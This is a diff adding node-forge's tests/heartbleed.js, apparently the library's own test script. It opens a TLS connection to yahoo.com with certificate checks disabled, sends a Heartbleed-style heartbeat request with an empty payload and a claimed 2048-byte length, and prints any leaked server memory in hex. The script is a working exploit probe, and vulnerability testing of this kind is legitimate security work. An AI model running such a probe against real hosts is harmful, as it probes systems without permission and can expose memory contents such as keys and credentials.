diff options
Diffstat (limited to 'includes/external/school/node_modules/node-forge/tests/heartbleed.js')
-rw-r--r-- | includes/external/school/node_modules/node-forge/tests/heartbleed.js | 55 |
1 files changed, 55 insertions, 0 deletions
diff --git a/includes/external/school/node_modules/node-forge/tests/heartbleed.js b/includes/external/school/node_modules/node-forge/tests/heartbleed.js new file mode 100644 index 0000000..b38869a --- /dev/null +++ b/includes/external/school/node_modules/node-forge/tests/heartbleed.js @@ -0,0 +1,55 @@ +var forge = require('../js/forge'); +var net = require('net'); + +var socket = new net.Socket(); + +var client = forge.tls.createConnection({ + server: false, + verify: function(connection, verified, depth, certs) { + // skip verification for testing + return true; + }, + connected: function(connection) { + // heartbleeds 2k + console.log('[tls] connected'); + connection.prepareHeartbeatRequest('', 2048); + setTimeout(function() { + client.close(); + }, 1000); + }, + tlsDataReady: function(connection) { + // encrypted data is ready to be sent to the server + var data = connection.tlsData.getBytes(); + socket.write(data, 'binary'); + }, + dataReady: function(connection) { + // clear data from the server is ready + var data = connection.data.getBytes(); + console.log('[tls] received from the server: ' + data); + }, + heartbeatReceived: function(c, payload) { + console.log('Heartbleed:\n' + payload.toHex()); + client.close(); + }, + closed: function() { + console.log('[tls] disconnected'); + socket.end(); + }, + error: function(connection, error) { + console.log('[tls] error', error); + } +}); + +socket.on('connect', function() { + console.log('[socket] connected'); + client.handshake(); +}); +socket.on('data', function(data) { + client.process(data.toString('binary')); +}); +socket.on('end', function() { + console.log('[socket] disconnected'); +}); + +// connect +socket.connect(443, 'yahoo.com'); |